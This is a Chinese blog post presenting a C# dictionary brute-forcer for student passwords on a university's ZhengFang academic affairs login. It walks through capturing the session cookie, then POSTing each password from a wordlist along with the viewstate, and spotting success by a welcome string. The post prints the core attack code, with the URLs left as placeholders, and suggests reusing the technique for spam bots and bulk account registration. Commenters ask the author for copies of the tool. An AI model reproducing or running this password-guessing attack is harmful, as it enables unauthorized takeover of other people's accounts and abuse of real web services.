Dec 16

华农大正方教务系统用户密码暴力破解器 (已经失效请勿联系作者) 不指定

piikee , 21:11 , 计算机相关 » 我的开发 , 锁定(2) , 引用(0) , 阅读(2923) , 本站原创 | |
本来是作为网络编程最后一个实验作业的,最终时间来不及,临时弄了个匿名邮件发送器提交了,计划就这样流产了。研究了一天一夜,总算把教务系统的数据包给弄清楚了。其实,这个破解器的原理还可以应用到论坛,博客之类的自动发帖机,还有QQ号码批量自动申请器,网站用户批量注册器之类。


以下是此软件的基本原理:
    第一步是用GET方式,获取教务系统网站的第一个页面。这个页面的一个js会制造一个cookie或者叫sessionID吧,然后回发给访问者。此时,我们就用一个CookieContainer来存放这个cookie。别小看这个cookie,这里可是研究了我5个小时呀!以后每次的通信都得提交这个cookie的。

    第二步,读取你输入的用户名,还有pwd.txt文件中的一个密码,然后用POST方式,把用户名密码,还有页面的一个viewstate和获取的那个cookie一起提交给教务系统的一个验证页面。

    第三步,申请访问登录成功的页面,然后教务系统会返回一个页面给你。你就判断返回的页面是不是成功页面,如果不是,就重复第二步操作,如果是成功页面,那么证明提交的密码是正确的,弹出消息框报告正确。


很多时候,我们都觉得很多东西很难做,真正动手去做了,做出来了,就会发现,原来是很简单的。简单的道理没人告诉你,要自己亲自动手去做去获得。



核心源码如下:


        /// <summary>
        /// 破解执行函数
        /// </summary>
        public void Start()
    {

        CookieContainer cookieContainer = new CookieContainer();//存放第一次回发来的COOKIE用于以后提交
        int flag = 0;//用于标识是否破解成功
        string password="123456";//申明存放密码的变量
        string userName = textBox2.Text.ToString();//定义用户名

        try
        {

            
            //获取密码文件
            StreamReader sr = new StreamReader("pwd.txt");
          
            //开始逐个密码匹配暴力破解
            while ((password =sr.ReadLine()) != null && flag == 0)
            {
                
                num = num + 1;//存放当前匹配到第几个密码
                label5.Invoke(lableTC );//委托更新label,实现动态显示当前匹配到第几个密码


          
                    
                    ///////////////////////////////////////////////////////////////////////////////////
                    ///////////////////第一次提交,获得了cookie用于以后提交用//////////////////////////
                    ///////////////////////////////////////////////////////////////////////////////////
                  
                    string URI = "http://第一次GET提交页面";//第一次GET提交页面
                    HttpWebRequest request = WebRequest.Create(URI) as HttpWebRequest;
                    request.Method = "GET";//设置提交方式
                    request.KeepAlive = true;
                    HttpWebResponse response = request.GetResponse() as HttpWebResponse;
                    System.IO.Stream responseStream = response.GetResponseStream();
                    System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.UTF8);
                    string srcString = reader.ReadToEnd();
                  responeStream.close();


                    ///////////////////////////////////////////////////////////////////////////////////
                    ///////////////////第二次POST提交,发送出用户名密码已经cookie和viewstate///////////
                    ///////////////////////////////////////////////////////////////////////////////////
                    string viewState = "设置viewState";//设置viewState,好像viewState都是固定的,所以就直接写入,不用动态抓取了。
                    viewState = System.Web.HttpUtility.UrlEncode(viewState); // 将文本转换成 URL 编码字符串
                    RadioButtonList1 = System.Web.HttpUtility.UrlEncode(RadioButtonList1); // 将文本转换成 URL 编码字符串
                    string postString = "__VIEWSTATE=" + viewState + "&TextBox1=" + userName + "&TextBox2=" + password + "&RadioButtonList1=" + RadioButtonList1 + "&Button1=";// 要提交的字符串数据。
                    byte[] postData = Encoding.ASCII.GetBytes(postString);// 将提交的字符串数据转换成字节数组
                    request = WebRequest.Create("提交给哪个页面") as HttpWebRequest;// 设置提交的相关参数
                    request.CookieContainer = cookieContainer;
                    request.Method = "POST";// 设置提交方式为post
                    request.KeepAlive = true;
                    request.Accept = "application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*";
                    request.ContentType = "application/x-www-form-urlencoded";
                    request.UserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 602; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MAXTHON 2.0)";
                    request.ContentLength = postData.Length;
                    request.Referer = "上一次访问页面";
                    System.IO.Stream outputStream = request.GetRequestStream();
                    outputStream.Write(postData, 0, postData.Length);// 提交请求数据
                    outputStream.Close();//关闭流

                 ////////////////////////////////////////////////////////////////////////////////////////////////////
                 ////////获取回发页面内容,判断是否包含特征字符(因为登录成功后页面不同),如果包含就是密码正确啦/////
                 ////////////////////////////////////////////////////////////////////////////////////////////////////
                    response = request.GetResponse() as HttpWebResponse;
                    responseStream = response.GetResponseStream();
                    reader = new System.IO.StreamReader(responseStream, Encoding.GetEncoding("GB2312"));
                    srcString = reader.ReadToEnd();

                 //这里判断是否包含特征字符
                    if (srcString.IndexOf("欢迎您") != -1)
                    {
                        flag = 1;//包含特征字符那么登录成功,破解成功标识变1.
                        MessageBox.Show(@"\(^o^)/成功啦"+"\r\n\r\n密码是:" + password);
                        num = 0;//当前密码个数变量清0
                        button1.Invoke(buttonClick);//破解按钮恢复可用状态
                      
                    }

                  
              

            }

            sr.Close();

            //密码文件每个密码都试过了,还是不成功,报告失败信息
            if (flag == 0)
            {
                MessageBox.Show("杯具了,没找到密码哦。。。\r\n请在密码字典pwd.txt里面\r\n输入更多可能的密码吧。");
                num = 0;//当前密码个数变量清0
                button1.Invoke(buttonClick);//按钮恢复  
            }
            


        }


        catch(Exception erro)

        {
        MessageBox.Show(erro.ToString());
        num = 0;//当前密码个数变量清0
        button1.Invoke(buttonClick);//破解按钮恢复可用状态
        }



    }


下载地址:

  (此软件仅用于学习交流,请勿频繁使用,否则后果自负!)
haha
2010/07/01 13:59
有用的话发我邮箱试试   跪谢了   邮箱523876921@qq.com
piikee 回复于 2010/07/02 10:47
... 你是华农的学生么?
牛盗
2010/07/14 12:36
给我一份  谢谢了
分页: 1/1 第一页 1 最后页